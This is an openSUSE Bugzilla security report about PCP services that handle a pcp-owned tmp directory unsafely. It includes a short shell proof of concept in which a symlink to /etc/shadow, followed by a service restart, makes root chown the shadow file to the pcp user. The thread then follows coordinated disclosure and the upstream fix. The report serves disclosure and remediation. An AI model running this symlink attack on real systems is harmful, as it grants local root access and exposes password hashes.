|
Bugzilla – Full Text Bug Listing |
| Summary: | VUL-0: pcp: pmie_farm_check.service and pmlogger_farm_check.service use unsafe tmp directories | ||
|---|---|---|---|
| Product: | [openSUSE] openSUSE Tumbleweed | Reporter: | Matthias Gerstner <matthias.gerstner> |
| Component: | Security | Assignee: | Martin Schreiner <martin.schreiner> |
| Status: | IN_PROGRESS --- | QA Contact: | E-mail List <qa-bugs> |
| Severity: | Normal | ||
| Priority: | P3 - Medium | CC: | camila.matos, ddiss, martin.schreiner, security-team |
| Version: | Current | ||
| Target Milestone: | --- | ||
| Hardware: | Other | ||
| OS: | Other | ||
| URL: | [none] | ||
| Whiteboard: | |||
| Found By: | --- | Services Priority: | |
| Business Priority: | Blocker: | --- | |
| Marketing QA Status: | --- | IT Deployment: | --- |
|
Description
Matthias Gerstner
2023-12-04 15:49:31 UTC
I'll look into this more closely. I already checked Fedora and Debian and both package /var/lib/pcp as root:root and /var/lib/pcp/tmp as pcp:pcp as well. So we're not deviating here. The systemd tmpfiles configuration file lists 809 paths to be created. This is certainly over the top and not a healthy state anymore. I will now a bit closer into the bash scripts and the exploitability of the issue. Okay the full local root exploit from `pcp` to `root is already here.
I looked in `pmcd.service` which also runs as root and executes the bash
script /usr/libexec/pcp/lib/pmcd. This has as part of its start routine in
`_reboot_setup()`:
```
if [ ! -d "$PCP_TMP_DIR/pmlogger" ]
then
mkdir -p -m 775 "$PCP_TMP_DIR/pmlogger"
chown $PCP_USER:$PCP_GROUP "$PCP_TMP_DIR/pmlogger"
if which restorecon >/dev/null 2>&1
then
restorecon -r "$PCP_TMP_DIR"
fi
else
```
Remember, PCP_TMP_DIR = "/var/lib/pcp/tmp", owned by pcp:pcp
Since the code does not exit on errors we don't even need to bother to win a
race condition. The following exploit works:
```
root # sudo -u pcp -g pcp bash
pcp $ cd /var/lib/pcp/tmp
pcp $ rm -r pmlogger
pcp $ ln -s /etc/shadow pmlogger
root # systemctl start pcmd.service
root # ls -l /etc/shadow
-rw-r----- 1 pcp pcp 1.2K Dec 7 15:47 /etc/shadow
```
The issue with this pcp user are pretty vast and upstream needs to work over
this. I will contact them.
adding IBS maintainer also to this bug Internal CRD: 2024-03-07 Upstream has already released version 6.1.1 while we are still with version 5.3.7 in Factory. This vulnerability is still found in the current upstream sources, though. I just sent a detailed email about this issue and bug 1217826 to the upstream maintainers, offering coordinated disclosure. I will post any further developments here. Please refer to bug 1217826 comment 10 for an update about the disclosure process for these two findings. Making the bug public, upstream already published the fixes in https://github.com/performancecopilot/pcp/pull/1873, embargo has been over since 2024-02-15. |